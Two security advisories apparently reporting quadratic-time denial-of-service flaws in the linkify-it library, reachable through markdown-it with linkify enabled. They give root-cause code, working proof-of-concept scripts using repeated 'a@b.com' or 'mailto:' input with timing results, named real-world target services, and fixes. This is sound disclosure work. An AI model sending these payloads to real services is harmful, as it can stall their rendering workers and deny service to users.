Summary

LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.

64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).

The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.

Affected component

- HEAD audited: 8e887d5bace3f5b09b1d1f70492fa0364ef1793d (v5.0.0) - Vulnerable function: LinkifyIt.prototype.match — index.mjs:528-554 - Re-scan call sites inside test(): index.mjs:444 (fuzzy host search), :448 (fuzzy link match), :467 (fuzzy email match) - Transitive consumer: markdown-it (~21.6M weekly npm DLs) calls linkify.match() at lib/rulescore/linkify.mjs:57 when linkify:true - All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0

Vulnerability details

The O(N²) outer loop

index.mjs:528-554:

js LinkifyIt.prototype.match = function match (text) { const result = [] let shift = 0 let tail = shift ? text.slice(shift) : text

while (this.test(tail)) { result.push(createMatch(this, shift)) tail = tail.slice(this.lastindex) // <-- re-allocates remaining tail each iteration shift += this.lastindex }

if (result.length) return result return null }

The loop iterates O(N) times (once per match). Each iteration: 1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration 2. this.test(tail) runs three unanchored regex searches over the full new tail:

js // index.mjs:444 — full-tail search tldpos = text.search(this.re.hostfuzzytest) // index.mjs:448 — full-tail match ml = text.match(this.re.linkfuzzy) // index.mjs:467 — full-tail match me = text.match(this.re.emailfuzzy)

Total cost: Σ(N - ic) for i=0..N = O(N²).

Contrast with the linear schema branch

The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:

js re = this.re.schemasearch re.lastIndex = 0 while ((m = re.exec(text)) !== null) { ... }

That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.

Proof of concept

bash mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos npm install linkify-it@5.0.0

cat > poc.mjs <<'EOF' import LinkifyIt from 'linkify-it' const l = new LinkifyIt() for (const n of [1000, 2000, 4000, 8000, 16000]) { const evil = 'a@b.com\n'.repeat(n) const t0 = process.hrtime.bigint() l.match(evil) const ms = Number(process.hrtime.bigint() - t0) / 1e6 console.log(n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms) } EOF node poc.mjs

Measured output (Node v25.5.0, Apple Silicon)

n=1000 bytes=8000 took 44 ms n=2000 bytes=16000 took 159 ms n=4000 bytes=32000 took 628 ms n=8000 bytes=64000 took 2506 ms n=16000 bytes=128000 took 9948 ms

Doubling N → ~4× wall-clock, consistent with O(N²).

markdown-it transitive (independently confirmed)

bash npm install markdown-it@14.1.1 node -e " const md = require('markdown-it')({ linkify: true }) for (const n of [1000, 2000, 4000, 8000]) { const evil = 'a@b.com '.repeat(n) const t0 = process.hrtime.bigint() md.render(evil) const ms = Number(process.hrtime.bigint() - t0) / 1e6 console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms') } "

n=1000 bytes=8000 md.render=45ms n=2000 bytes=16000 md.render=171ms n=4000 bytes=32000 md.render=672ms n=8000 bytes=64000 md.render=2636ms

Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().

Impact

- Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged. - No confidentiality or integrity impact.

Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.

Suggested remediation

The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:

1. Add the g flag to emailfuzzy, linkfuzzy, linknoipfuzzy, hostfuzzytest in lib/re.mjs 2. Rewrite test() (or add testAt(text, pos)) so fuzzy branches set re.lastIndex = pos and call re.exec(text) instead of text.match()/text.search() on a sliced tail 3. In match(), drop tail = tail.slice(...) entirely — advance a pos offset instead

The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.

js // proposed sketch LinkifyIt.prototype.match = function match (text) { const result = [] let pos = 0 while (this.testAt(text, pos)) { result.push(createMatch(this, 0)) pos = this.lastindex } return result.length ? result : null }

Total cost becomes O(N): each character scanned at most once per regex across the whole loop.

Duplicate-risk analysis

- Zero GHSAs on linkify-it (gh api /repos/markdown-it/linkify-it/security-advisories → []) - Zero OSV entries (api.osv.dev/v1/query → {}) - markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline

This finding appears novel.

Note to maintainers

Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.

Summary linkify-it's schema-scan loop (.test() / .match(), the documented public API) invokes the mailto: schema validator at every mailto: occurrence in the input text. For each occurrence the validator does text.slice(pos) (an O(n) copy) and runs an email regex whose local-part class srcemailname greedily scans the entire remaining tail (O(n)) before failing. With N mailto: occurrences that is N × O(n) = O(n²). Because linkify-it runs on arbitrary user text (markdown-it feeds it whole documents when linkify:true), an unauthenticated attacker can block the single-threaded event loop for many seconds with a small input. No length bound (unlike an HTTP header).

Root cause — index.mjs + lib/re.mjs js // index.mjs (mailto validator) — runs at every "mailto:" hit 'mailto:': { validate: function (text, pos, self) { const tail = text.slice(pos) // O(n) copy per hit if (!self.re.mailto) self.re.mailto = new RegExp('^' + self.re.srcemailname + '@' + self.re.srchoststrict, 'i') if (self.re.mailto.test(tail)) { ... } // scans the whole O(n) tail return 0 }} // lib/re.mjs:91-93 — every char of "mailto:" (incl. ':','-',';') is in this class: re.srcemailname = '[\\-;:&=\\+\\$,\\.a-zA-Z0-9][\\-;:&=\\+\\$,\\"\\.a-zA-Z0-9]' The while ((m = re.exec(text)) !== null) { …testSchemaAt… } scan loop calls the validator at each mailto: hit; srcemailname greedily consumes the whole tail (all chars are in its class) then fails for lack of @. http:/https: do NOT blow up — their validator requires the tail to start with //, failing in O(1) per hit.

Proof of Concept (confirmed, linkify-it 5.0.1, Node v24) js const LinkifyIt = require('linkify-it'); const lf = new LinkifyIt(); lf.match('mailto:'.repeat(48000)); // ~336 KB of "mailto:mailto:…" -> seconds of blocked event loop | input (same bytes) | 56 KB | 112 KB | 224 KB | 336 KB | |---|---:|---:|---:|---:| | mailto: contiguous | 97 ms | 357 ms | 1438 ms | 3272 ms | | mailto: space-separated | 2 ms | 3 ms | 5 ms | 8 ms | | http:// contiguous | 12 ms | 17 ms | 33 ms | 49 ms |

×~4 per 2× input ⇒ O(n²); equal-byte controls stay flat ⇒ algorithmic, not a GC/allocation artifact. Real-world via markdown-it 14.x ({linkify:true}), md.render('mailto:'.repeat(n)): 219 KB ≈ ~5 s. <img width="737" height="161" alt="image" src="https://github.com/user-attachments/assets/b5d390f3-68d0-4861-9c47-ad8aff0203d5" />

Impact Reachable on arbitrary user text via the documented .test()/.match() API and through markdown-it's linkifier — comment systems, chat, forums, wikis, note apps that render user markdown with linkify enabled. A ~220 KB post hangs the event loop ~5 s; a few hundred KB → tens of seconds. Availability only.

Suggested remediation Bound the email local-part per RFC 5321 (≤64) so per-hit work is O(1), and avoid the full-tail slice: js // lib/re.mjs — cap the greedy run: re.srcemailname = '[\\-;:&=\\+\\$,\\.a-zA-Z0-9][\\-;:&=\\+\\$,\\"\\.a-zA-Z0-9]{0,63}' // index.mjs — prefer a sticky regex anchored at pos over text.slice(pos).

Affected / disclosure All versions through 5.0.1 (latest); same code on master. cve-mcp/OSV report no known vulnerability for linkify-it. Distinct from markdown-it's own -run ReDoS (CVE-2026-2327, different package/path) and the recent markdown-it DoS. Reported privately; happy to test a patch against the PoC.